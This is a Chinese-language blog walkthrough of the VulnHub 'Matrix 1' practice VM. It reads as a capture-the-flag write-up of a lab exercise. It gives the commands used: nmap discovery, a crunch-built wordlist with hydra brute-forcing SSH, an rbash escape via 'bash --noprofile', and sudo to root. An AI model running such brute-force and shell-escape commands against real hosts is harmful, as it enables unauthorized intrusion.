由於在 VulnHub 上把 Kioptrix 系列都解完了,看其他朋友接續有解 Matrix ,就載下來玩玩看了,結果題型就像 CTF 一樣,充滿各種提示,解這種題型就算是練習操作工具的熟練度吧,該篇文章記錄了解題過程。
環境設定
靶機下載: https://www.vulnhub.com/entry/matrix-1,259/
解壓縮之後是一個 ova 檔案,直接餵給 VMWare 吃,就可以完成布署了,並且網路環境採用 NAT 。
尋找靶機
透過 nmap 192.168.147.1/24
把靶機找出來,抓到位置為 192.168.147.135
,並且服務上面有 22、80、31337 Ports。
服務探勘
首先在 80 Port 底下是個使用 Python 架設的 SimpleHTTPServer 服務,並且頁面上有提示。
然後底下就一張小白兔的圖片,檔名又是一個提示 p0rt_31337.png
,光用 nmap
就把 Port 掃出來了。
隨後直接瀏覽 Port 31337,是一個很雷同的頁面,但在 F12 底下發現底下這行。
Base64 解出
echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix
藉此猜測有個 Cypher.matrix
的檔案,並且成功下載下來,看得出是經過加密的,經過 Google 得知,這是 Brainfuck 加密,很常見於 CTF,只是我還沒遇過,顯然經驗不足阿…!
+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.-
-.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>---
---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[-
...
.<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++
+[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]>
----- ---.- --.<
使用線上工具 brainfuck 解密後得到以下內容。
You can enter into matrix as guest, with password k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.
看樣子得到 user guest
的使用者密碼了,接著試著使用 ssh 登入,但登不進去,猜測密碼後方的 XX
為,[a-z0-9]
可以使用工具 crunch
產生密碼字典檔。
crunch 8 8 -t k1ll0r@% >> 135_ssh_pwd_list.txt
crunch 8 8 -t k1ll0r%@ >> 135_ssh_pwd_list.txt
然後用 hydra 去爆破 SSH 。
hydra -l guest -p 135_ssh_pwd_list.txt -t 5 -vV 192.168.147.135 ssh
hydra -l guest -P 135_ssh_pwd_list.txt -t 1 -vV 192.168.147.135 ssh
取得密碼為 k1ll0r7n
,取得 shell
,嘗試使用 ls
瀏覽該目錄下的檔案,得到。
-rbash: /bin/ls: restricted: cannot specify `/' in command names
這邊參考 shell bypass 的方法:
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
https://xz.aliyun.com/t/2333
ssh username@IP -t "bash --noprofile"
成功拿到 bash
接著查看 /etc/sudoers
得到以下資訊。
guest ALL=(trinity) NOPASSWD: /bin/cp
trinity ALL=(root) NOPASSWD: /home/trinity/oracle
所以就直接 sudo su
拿到 root ,並且在 root 的目錄下拿到 Flag。
_,-.
,-' _| EVER REWIND OVER AND OVER AGAIN THROUGH THE
|_,-O__`-._ INITIAL AGENT SMITH/NEO INTERROGATION SCENE
|`-._\`.__ `_. IN THE MATRIX AND BEAT OFF
|`-._`-.\,-'_| _,-'.
`-.|.-' | |`.-'|_ WHAT
| |_|,-'_`.
|-._,-' | NO, ME NEITHER
jrei | | _,'
'-|_,-' IT'S JUST A HYPOTHETICAL QUESTION
結論:
這根本 CTF 題型吧, 的題目設計的很刻意,比起 Kioptrix 很沒有在打滲透的感覺。